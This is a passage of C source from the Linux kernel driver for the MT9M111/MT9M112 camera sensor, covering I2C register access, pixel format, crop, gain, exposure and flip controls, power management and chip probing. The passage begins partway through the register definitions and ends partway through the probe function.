#define MT9M111_CTXT_CTRL_DEFECTCOR_B (1 << 12)
#define MT9M111_CTXT_CTRL_RESIZE_B (1 << 10)
#define MT9M111_CTXT_CTRL_CTRL2_B (1 << 9)
#define MT9M111_CTXT_CTRL_GAMMA_B (1 << 8)
#define MT9M111_CTXT_CTRL_XENON_EN (1 << 7)
#define MT9M111_CTXT_CTRL_READ_MODE_B (1 << 3)
#define MT9M111_CTXT_CTRL_LED_FLASH_EN (1 << 2)
#define MT9M111_CTXT_CTRL_VBLANK_SEL_B (1 << 1)
#define MT9M111_CTXT_CTRL_HBLANK_SEL_B (1 << 0)
/*
* Colorpipe register addresses (0x100..0x1ff)
*/
#define MT9M111_OPER_MODE_CTRL 0x106
#define MT9M111_OUTPUT_FORMAT_CTRL 0x108
#define MT9M111_REDUCER_XZOOM_B 0x1a0
#define MT9M111_REDUCER_XSIZE_B 0x1a1
#define MT9M111_REDUCER_YZOOM_B 0x1a3
#define MT9M111_REDUCER_YSIZE_B 0x1a4
#define MT9M111_REDUCER_XZOOM_A 0x1a6
#define MT9M111_REDUCER_XSIZE_A 0x1a7
#define MT9M111_REDUCER_YZOOM_A 0x1a9
#define MT9M111_REDUCER_YSIZE_A 0x1aa
#define MT9M111_OUTPUT_FORMAT_CTRL2_A 0x13a
#define MT9M111_OUTPUT_FORMAT_CTRL2_B 0x19b
#define MT9M111_OPMODE_AUTOEXPO_EN (1 << 14)
#define MT9M111_OPMODE_AUTOWHITEBAL_EN (1 << 1)
#define MT9M111_OUTFMT_PROCESSED_BAYER (1 << 14)
#define MT9M111_OUTFMT_BYPASS_IFP (1 << 10)
#define MT9M111_OUTFMT_INV_PIX_CLOCK (1 << 9)
#define MT9M111_OUTFMT_RGB (1 << 8)
#define MT9M111_OUTFMT_RGB565 (0 << 6)
#define MT9M111_OUTFMT_RGB555 (1 << 6)
#define MT9M111_OUTFMT_RGB444x (2 << 6)
#define MT9M111_OUTFMT_RGBx444 (3 << 6)
#define MT9M111_OUTFMT_TST_RAMP_OFF (0 << 4)
#define MT9M111_OUTFMT_TST_RAMP_COL (1 << 4)
#define MT9M111_OUTFMT_TST_RAMP_ROW (2 << 4)
#define MT9M111_OUTFMT_TST_RAMP_FRAME (3 << 4)
#define MT9M111_OUTFMT_SHIFT_3_UP (1 << 3)
#define MT9M111_OUTFMT_AVG_CHROMA (1 << 2)
#define MT9M111_OUTFMT_SWAP_YCbCr_C_Y (1 << 1)
#define MT9M111_OUTFMT_SWAP_RGB_EVEN (1 << 1)
#define MT9M111_OUTFMT_SWAP_YCbCr_Cb_Cr (1 << 0)
/*
* Camera control register addresses (0x200..0x2ff not implemented)
*/
#define reg_read(reg) mt9m111_reg_read(client, MT9M111_##reg)
#define reg_write(reg, val) mt9m111_reg_write(client, MT9M111_##reg, (val))
#define reg_set(reg, val) mt9m111_reg_set(client, MT9M111_##reg, (val))
#define reg_clear(reg, val) mt9m111_reg_clear(client, MT9M111_##reg, (val))
#define MT9M111_MIN_DARK_ROWS 8
#define MT9M111_MIN_DARK_COLS 26
#define MT9M111_MAX_HEIGHT 1024
#define MT9M111_MAX_WIDTH 1280
/* MT9M111 has only one fixed colorspace per pixelcode */
struct mt9m111_datafmt {
enum v4l2_mbus_pixelcode code;
enum v4l2_colorspace colorspace;
};
/* Find a data format by a pixel code in an array */
static const struct mt9m111_datafmt *mt9m111_find_datafmt(
enum v4l2_mbus_pixelcode code, const struct mt9m111_datafmt *fmt,
int n)
{
int i;
for (i = 0; i < n; i++)
if (fmt[i].code == code)
return fmt + i;
return NULL;
}
static const struct mt9m111_datafmt mt9m111_colour_fmts[] = {
{V4L2_MBUS_FMT_YUYV8_2X8, V4L2_COLORSPACE_JPEG},
{V4L2_MBUS_FMT_YVYU8_2X8, V4L2_COLORSPACE_JPEG},
{V4L2_MBUS_FMT_UYVY8_2X8, V4L2_COLORSPACE_JPEG},
{V4L2_MBUS_FMT_VYUY8_2X8, V4L2_COLORSPACE_JPEG},
{V4L2_MBUS_FMT_RGB555_2X8_PADHI_LE, V4L2_COLORSPACE_SRGB},
{V4L2_MBUS_FMT_RGB565_2X8_LE, V4L2_COLORSPACE_SRGB},
{V4L2_MBUS_FMT_SBGGR8_1X8, V4L2_COLORSPACE_SRGB},
{V4L2_MBUS_FMT_SBGGR10_2X8_PADHI_LE, V4L2_COLORSPACE_SRGB},
};
enum mt9m111_context {
HIGHPOWER = 0,
LOWPOWER,
};
struct mt9m111 {
struct v4l2_subdev subdev;
int model; /* V4L2_IDENT_MT9M111 or V4L2_IDENT_MT9M112 code
* from v4l2-chip-ident.h */
enum mt9m111_context context;
struct v4l2_rect rect;
const struct mt9m111_datafmt *fmt;
unsigned int gain;
unsigned char autoexposure;
unsigned char datawidth;
unsigned int powered:1;
unsigned int hflip:1;
unsigned int vflip:1;
unsigned int swap_rgb_even_odd:1;
unsigned int swap_rgb_red_blue:1;
unsigned int swap_yuv_y_chromas:1;
unsigned int swap_yuv_cb_cr:1;
unsigned int autowhitebalance:1;
};
static struct mt9m111 *to_mt9m111(const struct i2c_client *client)
{
return container_of(i2c_get_clientdata(client), struct mt9m111, subdev);
}
static int reg_page_map_set(struct i2c_client *client, const u16 reg)
{
int ret;
u16 page;
static int lastpage = -1; /* PageMap cache value */
page = (reg >> 8);
if (page == lastpage)
return 0;
if (page > 2)
return -EINVAL;
ret = i2c_smbus_write_word_data(client, MT9M111_PAGE_MAP, swab16(page));
if (!ret)
lastpage = page;
return ret;
}
static int mt9m111_reg_read(struct i2c_client *client, const u16 reg)
{
int ret;
ret = reg_page_map_set(client, reg);
if (!ret)
ret = swab16(i2c_smbus_read_word_data(client, reg & 0xff));
dev_dbg(&client->dev, "read reg.%03x -> %04x\n", reg, ret);
return ret;
}
static int mt9m111_reg_write(struct i2c_client *client, const u16 reg,
const u16 data)
{
int ret;
ret = reg_page_map_set(client, reg);
if (!ret)
ret = i2c_smbus_write_word_data(client, reg & 0xff,
swab16(data));
dev_dbg(&client->dev, "write reg.%03x = %04x -> %d\n", reg, data, ret);
return ret;
}
static int mt9m111_reg_set(struct i2c_client *client, const u16 reg,
const u16 data)
{
int ret;
ret = mt9m111_reg_read(client, reg);
if (ret >= 0)
ret = mt9m111_reg_write(client, reg, ret | data);
return ret;
}
static int mt9m111_reg_clear(struct i2c_client *client, const u16 reg,
const u16 data)
{
int ret;
ret = mt9m111_reg_read(client, reg);
return mt9m111_reg_write(client, reg, ret & ~data);
}
static int mt9m111_set_context(struct i2c_client *client,
enum mt9m111_context ctxt)
{
int valB = MT9M111_CTXT_CTRL_RESTART | MT9M111_CTXT_CTRL_DEFECTCOR_B
| MT9M111_CTXT_CTRL_RESIZE_B | MT9M111_CTXT_CTRL_CTRL2_B
| MT9M111_CTXT_CTRL_GAMMA_B | MT9M111_CTXT_CTRL_READ_MODE_B
| MT9M111_CTXT_CTRL_VBLANK_SEL_B
| MT9M111_CTXT_CTRL_HBLANK_SEL_B;
int valA = MT9M111_CTXT_CTRL_RESTART;
if (ctxt == HIGHPOWER)
return reg_write(CONTEXT_CONTROL, valB);
else
return reg_write(CONTEXT_CONTROL, valA);
}
static int mt9m111_setup_rect(struct i2c_client *client,
struct v4l2_rect *rect)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret, is_raw_format;
int width = rect->width;
int height = rect->height;
if (mt9m111->fmt->code == V4L2_MBUS_FMT_SBGGR8_1X8 ||
mt9m111->fmt->code == V4L2_MBUS_FMT_SBGGR10_2X8_PADHI_LE)
is_raw_format = 1;
else
is_raw_format = 0;
ret = reg_write(COLUMN_START, rect->left);
if (!ret)
ret = reg_write(ROW_START, rect->top);
if (is_raw_format) {
if (!ret)
ret = reg_write(WINDOW_WIDTH, width);
if (!ret)
ret = reg_write(WINDOW_HEIGHT, height);
} else {
if (!ret)
ret = reg_write(REDUCER_XZOOM_B, MT9M111_MAX_WIDTH);
if (!ret)
ret = reg_write(REDUCER_YZOOM_B, MT9M111_MAX_HEIGHT);
if (!ret)
ret = reg_write(REDUCER_XSIZE_B, width);
if (!ret)
ret = reg_write(REDUCER_YSIZE_B, height);
if (!ret)
ret = reg_write(REDUCER_XZOOM_A, MT9M111_MAX_WIDTH);
if (!ret)
ret = reg_write(REDUCER_YZOOM_A, MT9M111_MAX_HEIGHT);
if (!ret)
ret = reg_write(REDUCER_XSIZE_A, width);
if (!ret)
ret = reg_write(REDUCER_YSIZE_A, height);
}
return ret;
}
static int mt9m111_setup_pixfmt(struct i2c_client *client, u16 outfmt)
{
int ret;
u16 mask = MT9M111_OUTFMT_PROCESSED_BAYER | MT9M111_OUTFMT_RGB |
MT9M111_OUTFMT_BYPASS_IFP | MT9M111_OUTFMT_SWAP_RGB_EVEN |
MT9M111_OUTFMT_RGB565 | MT9M111_OUTFMT_RGB555 |
MT9M111_OUTFMT_SWAP_YCbCr_Cb_Cr |
MT9M111_OUTFMT_SWAP_YCbCr_C_Y;
ret = reg_read(OUTPUT_FORMAT_CTRL2_A);
if (ret >= 0)
ret = reg_write(OUTPUT_FORMAT_CTRL2_A, (ret & ~mask) | outfmt);
if (!ret)
ret = reg_read(OUTPUT_FORMAT_CTRL2_B);
if (ret >= 0)
ret = reg_write(OUTPUT_FORMAT_CTRL2_B, (ret & ~mask) | outfmt);
return ret;
}
static int mt9m111_setfmt_bayer8(struct i2c_client *client)
{
return mt9m111_setup_pixfmt(client, MT9M111_OUTFMT_PROCESSED_BAYER |
MT9M111_OUTFMT_RGB);
}
static int mt9m111_setfmt_bayer10(struct i2c_client *client)
{
return mt9m111_setup_pixfmt(client, MT9M111_OUTFMT_BYPASS_IFP);
}
static int mt9m111_setfmt_rgb565(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int val = 0;
if (mt9m111->swap_rgb_red_blue)
val |= MT9M111_OUTFMT_SWAP_YCbCr_Cb_Cr;
if (mt9m111->swap_rgb_even_odd)
val |= MT9M111_OUTFMT_SWAP_RGB_EVEN;
val |= MT9M111_OUTFMT_RGB | MT9M111_OUTFMT_RGB565;
return mt9m111_setup_pixfmt(client, val);
}
static int mt9m111_setfmt_rgb555(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int val = 0;
if (mt9m111->swap_rgb_red_blue)
val |= MT9M111_OUTFMT_SWAP_YCbCr_Cb_Cr;
if (mt9m111->swap_rgb_even_odd)
val |= MT9M111_OUTFMT_SWAP_RGB_EVEN;
val |= MT9M111_OUTFMT_RGB | MT9M111_OUTFMT_RGB555;
return mt9m111_setup_pixfmt(client, val);
}
static int mt9m111_setfmt_yuv(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int val = 0;
if (mt9m111->swap_yuv_cb_cr)
val |= MT9M111_OUTFMT_SWAP_YCbCr_Cb_Cr;
if (mt9m111->swap_yuv_y_chromas)
val |= MT9M111_OUTFMT_SWAP_YCbCr_C_Y;
return mt9m111_setup_pixfmt(client, val);
}
static int mt9m111_enable(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
ret = reg_set(RESET, MT9M111_RESET_CHIP_ENABLE);
if (!ret)
mt9m111->powered = 1;
return ret;
}
static int mt9m111_reset(struct i2c_client *client)
{
int ret;
ret = reg_set(RESET, MT9M111_RESET_RESET_MODE);
if (!ret)
ret = reg_set(RESET, MT9M111_RESET_RESET_SOC);
if (!ret)
ret = reg_clear(RESET, MT9M111_RESET_RESET_MODE
| MT9M111_RESET_RESET_SOC);
return ret;
}
static unsigned long mt9m111_query_bus_param(struct soc_camera_device *icd)
{
struct soc_camera_link *icl = to_soc_camera_link(icd);
unsigned long flags = SOCAM_MASTER | SOCAM_PCLK_SAMPLE_RISING |
SOCAM_HSYNC_ACTIVE_HIGH | SOCAM_VSYNC_ACTIVE_HIGH |
SOCAM_DATA_ACTIVE_HIGH | SOCAM_DATAWIDTH_8;
return soc_camera_apply_sensor_flags(icl, flags);
}
static int mt9m111_set_bus_param(struct soc_camera_device *icd, unsigned long f)
{
return 0;
}
static int mt9m111_make_rect(struct i2c_client *client,
struct v4l2_rect *rect)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
if (mt9m111->fmt->code == V4L2_MBUS_FMT_SBGGR8_1X8 ||
mt9m111->fmt->code == V4L2_MBUS_FMT_SBGGR10_2X8_PADHI_LE) {
/* Bayer format - even size lengths */
rect->width = ALIGN(rect->width, 2);
rect->height = ALIGN(rect->height, 2);
/* Let the user play with the starting pixel */
}
/* FIXME: the datasheet doesn't specify minimum sizes */
soc_camera_limit_side(&rect->left, &rect->width,
MT9M111_MIN_DARK_COLS, 2, MT9M111_MAX_WIDTH);
soc_camera_limit_side(&rect->top, &rect->height,
MT9M111_MIN_DARK_ROWS, 2, MT9M111_MAX_HEIGHT);
return mt9m111_setup_rect(client, rect);
}
static int mt9m111_s_crop(struct v4l2_subdev *sd, struct v4l2_crop *a)
{
struct v4l2_rect rect = a->c;
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
dev_dbg(&client->dev, "%s left=%d, top=%d, width=%d, height=%d\n",
__func__, rect.left, rect.top, rect.width, rect.height);
if (a->type != V4L2_BUF_TYPE_VIDEO_CAPTURE)
return -EINVAL;
ret = mt9m111_make_rect(client, &rect);
if (!ret)
mt9m111->rect = rect;
return ret;
}
static int mt9m111_g_crop(struct v4l2_subdev *sd, struct v4l2_crop *a)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
a->c = mt9m111->rect;
a->type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
return 0;
}
static int mt9m111_cropcap(struct v4l2_subdev *sd, struct v4l2_cropcap *a)
{
if (a->type != V4L2_BUF_TYPE_VIDEO_CAPTURE)
return -EINVAL;
a->bounds.left = MT9M111_MIN_DARK_COLS;
a->bounds.top = MT9M111_MIN_DARK_ROWS;
a->bounds.width = MT9M111_MAX_WIDTH;
a->bounds.height = MT9M111_MAX_HEIGHT;
a->defrect = a->bounds;
a->pixelaspect.numerator = 1;
a->pixelaspect.denominator = 1;
return 0;
}
static int mt9m111_g_fmt(struct v4l2_subdev *sd,
struct v4l2_mbus_framefmt *mf)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
mf->width = mt9m111->rect.width;
mf->height = mt9m111->rect.height;
mf->code = mt9m111->fmt->code;
mf->colorspace = mt9m111->fmt->colorspace;
mf->field = V4L2_FIELD_NONE;
return 0;
}
static int mt9m111_set_pixfmt(struct i2c_client *client,
enum v4l2_mbus_pixelcode code)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
switch (code) {
case V4L2_MBUS_FMT_SBGGR8_1X8:
ret = mt9m111_setfmt_bayer8(client);
break;
case V4L2_MBUS_FMT_SBGGR10_2X8_PADHI_LE:
ret = mt9m111_setfmt_bayer10(client);
break;
case V4L2_MBUS_FMT_RGB555_2X8_PADHI_LE:
ret = mt9m111_setfmt_rgb555(client);
break;
case V4L2_MBUS_FMT_RGB565_2X8_LE:
ret = mt9m111_setfmt_rgb565(client);
break;
case V4L2_MBUS_FMT_UYVY8_2X8:
mt9m111->swap_yuv_y_chromas = 0;
mt9m111->swap_yuv_cb_cr = 0;
ret = mt9m111_setfmt_yuv(client);
break;
case V4L2_MBUS_FMT_VYUY8_2X8:
mt9m111->swap_yuv_y_chromas = 0;
mt9m111->swap_yuv_cb_cr = 1;
ret = mt9m111_setfmt_yuv(client);
break;
case V4L2_MBUS_FMT_YUYV8_2X8:
mt9m111->swap_yuv_y_chromas = 1;
mt9m111->swap_yuv_cb_cr = 0;
ret = mt9m111_setfmt_yuv(client);
break;
case V4L2_MBUS_FMT_YVYU8_2X8:
mt9m111->swap_yuv_y_chromas = 1;
mt9m111->swap_yuv_cb_cr = 1;
ret = mt9m111_setfmt_yuv(client);
break;
default:
dev_err(&client->dev, "Pixel format not handled : %x\n",
code);
ret = -EINVAL;
}
return ret;
}
static int mt9m111_s_fmt(struct v4l2_subdev *sd,
struct v4l2_mbus_framefmt *mf)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
const struct mt9m111_datafmt *fmt;
struct mt9m111 *mt9m111 = to_mt9m111(client);
struct v4l2_rect rect = {
.left = mt9m111->rect.left,
.top = mt9m111->rect.top,
.width = mf->width,
.height = mf->height,
};
int ret;
fmt = mt9m111_find_datafmt(mf->code, mt9m111_colour_fmts,
ARRAY_SIZE(mt9m111_colour_fmts));
if (!fmt)
return -EINVAL;
dev_dbg(&client->dev,
"%s code=%x left=%d, top=%d, width=%d, height=%d\n", __func__,
mf->code, rect.left, rect.top, rect.width, rect.height);
ret = mt9m111_make_rect(client, &rect);
if (!ret)
ret = mt9m111_set_pixfmt(client, mf->code);
if (!ret) {
mt9m111->rect = rect;
mt9m111->fmt = fmt;
mf->colorspace = fmt->colorspace;
}
return ret;
}
static int mt9m111_try_fmt(struct v4l2_subdev *sd,
struct v4l2_mbus_framefmt *mf)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
const struct mt9m111_datafmt *fmt;
bool bayer = mf->code == V4L2_MBUS_FMT_SBGGR8_1X8 ||
mf->code == V4L2_MBUS_FMT_SBGGR10_2X8_PADHI_LE;
fmt = mt9m111_find_datafmt(mf->code, mt9m111_colour_fmts,
ARRAY_SIZE(mt9m111_colour_fmts));
if (!fmt) {
fmt = mt9m111->fmt;
mf->code = fmt->code;
}
/*
* With Bayer format enforce even side lengths, but let the user play
* with the starting pixel
*/
if (mf->height > MT9M111_MAX_HEIGHT)
mf->height = MT9M111_MAX_HEIGHT;
else if (mf->height < 2)
mf->height = 2;
else if (bayer)
mf->height = ALIGN(mf->height, 2);
if (mf->width > MT9M111_MAX_WIDTH)
mf->width = MT9M111_MAX_WIDTH;
else if (mf->width < 2)
mf->width = 2;
else if (bayer)
mf->width = ALIGN(mf->width, 2);
mf->colorspace = fmt->colorspace;
return 0;
}
static int mt9m111_g_chip_ident(struct v4l2_subdev *sd,
struct v4l2_dbg_chip_ident *id)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
if (id->match.type != V4L2_CHIP_MATCH_I2C_ADDR)
return -EINVAL;
if (id->match.addr != client->addr)
return -ENODEV;
id->ident = mt9m111->model;
id->revision = 0;
return 0;
}
#ifdef CONFIG_VIDEO_ADV_DEBUG
static int mt9m111_g_register(struct v4l2_subdev *sd,
struct v4l2_dbg_register *reg)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
int val;
if (reg->match.type != V4L2_CHIP_MATCH_I2C_ADDR || reg->reg > 0x2ff)
return -EINVAL;
if (reg->match.addr != client->addr)
return -ENODEV;
val = mt9m111_reg_read(client, reg->reg);
reg->size = 2;
reg->val = (u64)val;
if (reg->val > 0xffff)
return -EIO;
return 0;
}
static int mt9m111_s_register(struct v4l2_subdev *sd,
struct v4l2_dbg_register *reg)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
if (reg->match.type != V4L2_CHIP_MATCH_I2C_ADDR || reg->reg > 0x2ff)
return -EINVAL;
if (reg->match.addr != client->addr)
return -ENODEV;
if (mt9m111_reg_write(client, reg->reg, reg->val) < 0)
return -EIO;
return 0;
}
#endif
static const struct v4l2_queryctrl mt9m111_controls[] = {
{
.id = V4L2_CID_VFLIP,
.type = V4L2_CTRL_TYPE_BOOLEAN,
.name = "Flip Verticaly",
.minimum = 0,
.maximum = 1,
.step = 1,
.default_value = 0,
}, {
.id = V4L2_CID_HFLIP,
.type = V4L2_CTRL_TYPE_BOOLEAN,
.name = "Flip Horizontaly",
.minimum = 0,
.maximum = 1,
.step = 1,
.default_value = 0,
}, { /* gain = 1/32*val (=>gain=1 if val==32) */
.id = V4L2_CID_GAIN,
.type = V4L2_CTRL_TYPE_INTEGER,
.name = "Gain",
.minimum = 0,
.maximum = 63 * 2 * 2,
.step = 1,
.default_value = 32,
.flags = V4L2_CTRL_FLAG_SLIDER,
}, {
.id = V4L2_CID_EXPOSURE_AUTO,
.type = V4L2_CTRL_TYPE_BOOLEAN,
.name = "Auto Exposure",
.minimum = 0,
.maximum = 1,
.step = 1,
.default_value = 1,
}
};
static int mt9m111_resume(struct soc_camera_device *icd);
static int mt9m111_suspend(struct soc_camera_device *icd, pm_message_t state);
static struct soc_camera_ops mt9m111_ops = {
.suspend = mt9m111_suspend,
.resume = mt9m111_resume,
.query_bus_param = mt9m111_query_bus_param,
.set_bus_param = mt9m111_set_bus_param,
.controls = mt9m111_controls,
.num_controls = ARRAY_SIZE(mt9m111_controls),
};
static int mt9m111_set_flip(struct i2c_client *client, int flip, int mask)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
if (mt9m111->context == HIGHPOWER) {
if (flip)
ret = reg_set(READ_MODE_B, mask);
else
ret = reg_clear(READ_MODE_B, mask);
} else {
if (flip)
ret = reg_set(READ_MODE_A, mask);
else
ret = reg_clear(READ_MODE_A, mask);
}
return ret;
}
static int mt9m111_get_global_gain(struct i2c_client *client)
{
int data;
data = reg_read(GLOBAL_GAIN);
if (data >= 0)
return (data & 0x2f) * (1 << ((data >> 10) & 1)) *
(1 << ((data >> 9) & 1));
return data;
}
static int mt9m111_set_global_gain(struct i2c_client *client, int gain)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
u16 val;
if (gain > 63 * 2 * 2)
return -EINVAL;
mt9m111->gain = gain;
if ((gain >= 64 * 2) && (gain < 63 * 2 * 2))
val = (1 << 10) | (1 << 9) | (gain / 4);
else if ((gain >= 64) && (gain < 64 * 2))
val = (1 << 9) | (gain / 2);
else
val = gain;
return reg_write(GLOBAL_GAIN, val);
}
static int mt9m111_set_autoexposure(struct i2c_client *client, int on)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
if (on)
ret = reg_set(OPER_MODE_CTRL, MT9M111_OPMODE_AUTOEXPO_EN);
else
ret = reg_clear(OPER_MODE_CTRL, MT9M111_OPMODE_AUTOEXPO_EN);
if (!ret)
mt9m111->autoexposure = on;
return ret;
}
static int mt9m111_set_autowhitebalance(struct i2c_client *client, int on)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
if (on)
ret = reg_set(OPER_MODE_CTRL, MT9M111_OPMODE_AUTOWHITEBAL_EN);
else
ret = reg_clear(OPER_MODE_CTRL, MT9M111_OPMODE_AUTOWHITEBAL_EN);
if (!ret)
mt9m111->autowhitebalance = on;
return ret;
}
static int mt9m111_g_ctrl(struct v4l2_subdev *sd, struct v4l2_control *ctrl)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
int data;
switch (ctrl->id) {
case V4L2_CID_VFLIP:
if (mt9m111->context == HIGHPOWER)
data = reg_read(READ_MODE_B);
else
data = reg_read(READ_MODE_A);
if (data < 0)
return -EIO;
ctrl->value = !!(data & MT9M111_RMB_MIRROR_ROWS);
break;
case V4L2_CID_HFLIP:
if (mt9m111->context == HIGHPOWER)
data = reg_read(READ_MODE_B);
else
data = reg_read(READ_MODE_A);
if (data < 0)
return -EIO;
ctrl->value = !!(data & MT9M111_RMB_MIRROR_COLS);
break;
case V4L2_CID_GAIN:
data = mt9m111_get_global_gain(client);
if (data < 0)
return data;
ctrl->value = data;
break;
case V4L2_CID_EXPOSURE_AUTO:
ctrl->value = mt9m111->autoexposure;
break;
case V4L2_CID_AUTO_WHITE_BALANCE:
ctrl->value = mt9m111->autowhitebalance;
break;
}
return 0;
}
static int mt9m111_s_ctrl(struct v4l2_subdev *sd, struct v4l2_control *ctrl)
{
struct i2c_client *client = v4l2_get_subdevdata(sd);
struct mt9m111 *mt9m111 = to_mt9m111(client);
const struct v4l2_queryctrl *qctrl;
int ret;
qctrl = soc_camera_find_qctrl(&mt9m111_ops, ctrl->id);
if (!qctrl)
return -EINVAL;
switch (ctrl->id) {
case V4L2_CID_VFLIP:
mt9m111->vflip = ctrl->value;
ret = mt9m111_set_flip(client, ctrl->value,
MT9M111_RMB_MIRROR_ROWS);
break;
case V4L2_CID_HFLIP:
mt9m111->hflip = ctrl->value;
ret = mt9m111_set_flip(client, ctrl->value,
MT9M111_RMB_MIRROR_COLS);
break;
case V4L2_CID_GAIN:
ret = mt9m111_set_global_gain(client, ctrl->value);
break;
case V4L2_CID_EXPOSURE_AUTO:
ret = mt9m111_set_autoexposure(client, ctrl->value);
break;
case V4L2_CID_AUTO_WHITE_BALANCE:
ret = mt9m111_set_autowhitebalance(client, ctrl->value);
break;
default:
ret = -EINVAL;
}
return ret;
}
static int mt9m111_suspend(struct soc_camera_device *icd, pm_message_t state)
{
struct i2c_client *client = to_i2c_client(to_soc_camera_control(icd));
struct mt9m111 *mt9m111 = to_mt9m111(client);
mt9m111->gain = mt9m111_get_global_gain(client);
return 0;
}
static int mt9m111_restore_state(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
mt9m111_set_context(client, mt9m111->context);
mt9m111_set_pixfmt(client, mt9m111->fmt->code);
mt9m111_setup_rect(client, &mt9m111->rect);
mt9m111_set_flip(client, mt9m111->hflip, MT9M111_RMB_MIRROR_COLS);
mt9m111_set_flip(client, mt9m111->vflip, MT9M111_RMB_MIRROR_ROWS);
mt9m111_set_global_gain(client, mt9m111->gain);
mt9m111_set_autoexposure(client, mt9m111->autoexposure);
mt9m111_set_autowhitebalance(client, mt9m111->autowhitebalance);
return 0;
}
static int mt9m111_resume(struct soc_camera_device *icd)
{
struct i2c_client *client = to_i2c_client(to_soc_camera_control(icd));
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret = 0;
if (mt9m111->powered) {
ret = mt9m111_enable(client);
if (!ret)
ret = mt9m111_reset(client);
if (!ret)
ret = mt9m111_restore_state(client);
}
return ret;
}
static int mt9m111_init(struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
int ret;
mt9m111->context = HIGHPOWER;
ret = mt9m111_enable(client);
if (!ret)
ret = mt9m111_reset(client);
if (!ret)
ret = mt9m111_set_context(client, mt9m111->context);
if (!ret)
ret = mt9m111_set_autoexposure(client, mt9m111->autoexposure);
if (ret)
dev_err(&client->dev, "mt9m111 init failed: %d\n", ret);
return ret;
}
/*
* Interface active, can use i2c. If it fails, it can indeed mean, that
* this wasn't our capture interface, so, we wait for the right one
*/
static int mt9m111_video_probe(struct soc_camera_device *icd,
struct i2c_client *client)
{
struct mt9m111 *mt9m111 = to_mt9m111(client);
s32 data;
int ret;
/*
* We must have a parent by now. And it cannot be a wrong one.
* So this entire test is completely redundant.
*/
if (!icd->dev.parent ||
to_soc_camera_host(icd->dev.parent)->nr != icd->iface)
return -ENODEV;
mt9m111->autoexposure = 1;
mt9m111->autowhitebalance = 1;
mt9m111->swap_rgb_even_odd = 1;
mt9m111->swap_rgb_red_blue = 1;
data = reg_read(CHIP_VERSION);
switch (data) {
case 0x143a: /* MT9M111 or MT9M131 */
mt9m111->model = V4L2_IDENT_MT9M111;
dev_info(&client->dev,
"Detected a MT9M111/MT9M131 chip ID %x\n", data);
break;
case 0x148c: /* MT9M112 */
mt9m111->model = V4L2_IDENT_MT9M112;
dev_info(&client->dev, "Detected a MT9M112 chip ID %x\n", data);
break;
default:
ret = -ENODEV;
dev_err(&client->dev,
"No MT9M111/MT9M112/MT9M131 chip detected register read %x\n",
data);
goto ei2c;
}
ret = mt9m111_init(client);
ei2c:
return ret;
}
static struct v4l2_subdev_core_ops mt9m111_subdev_core_ops = {
.g_ctrl = mt9m111_g_ctrl,
.s_ctrl = mt9m111_s_ctrl,
.g_chip_ident = mt9m111_g_chip_ident,
#ifdef CONFIG_VIDEO_ADV_DEBUG
.g_register = mt9m111_g_register,
.s_register = mt9m111_s_register,
#endif
};
static int mt9m111_enum_fmt(struct v4l2_subdev *sd, unsigned int index,
enum v4l2_mbus_pixelcode *code)
{
if (index >= ARRAY_SIZE(mt9m111_colour_fmts))
return -EINVAL;
*code = mt9m111_colour_fmts[index].code;
return 0;
}
static struct v4l2_subdev_video_ops mt9m111_subdev_video_ops = {
.s_mbus_fmt = mt9m111_s_fmt,
.g_mbus_fmt = mt9m111_g_fmt,
.try_mbus_fmt = mt9m111_try_fmt,
.s_crop = mt9m111_s_crop,
.g_crop = mt9m111_g_crop,
.cropcap = mt9m111_cropcap,
.enum_mbus_fmt = mt9m111_enum_fmt,
};
static struct v4l2_subdev_ops mt9m111_subdev_ops = {
.core = &mt9m111_subdev_core_ops,
.video = &mt9m111_subdev_video_ops,
};
static int mt9m111_probe(struct i2c_client *client,
const struct i2c_device_id *did)
{
struct mt9m111 *mt9m111;
struct soc_camera_device *icd = client->dev.platform_data;
struct i2c_adapter *adapter = to_i2c_adapter(client->dev.parent);
struct soc_camera_link *icl;
int ret;
if (!icd) {
dev_err(&client->dev, "mt9m111: soc-camera data missing!\n");
return -EINVAL;
}
icl = to_soc_camera_link(icd);
if (!icl) {
dev_err(&client->dev, "mt9m111: driver needs platform data\n");
return -EINVAL;
}
if (!i2c_check_functionality(adapter, I2C_FUNC_SMBUS_WORD_DATA)) {
dev_warn(&adapter->dev,
"I2C-Adapter doesn't support I2C_FUNC_SMBUS_WORD\n");
return -EIO;
}
mt9m111 = kzalloc(sizeof(struct mt9m111), GFP_KERNEL);
if (!mt9m111)
return -ENOMEM;
v4l2_i2c_subdev_init(&mt9m111->subdev, client, &mt9m111_subdev_ops);
/* Second stage probe - when a capture adapter is there */
icd->ops = &mt9m111_ops;
mt9m111->rect.left = MT9M111_MIN_DARK_COLS;
mt9m111->rect.top = MT9M111_MIN_DARK_ROWS;
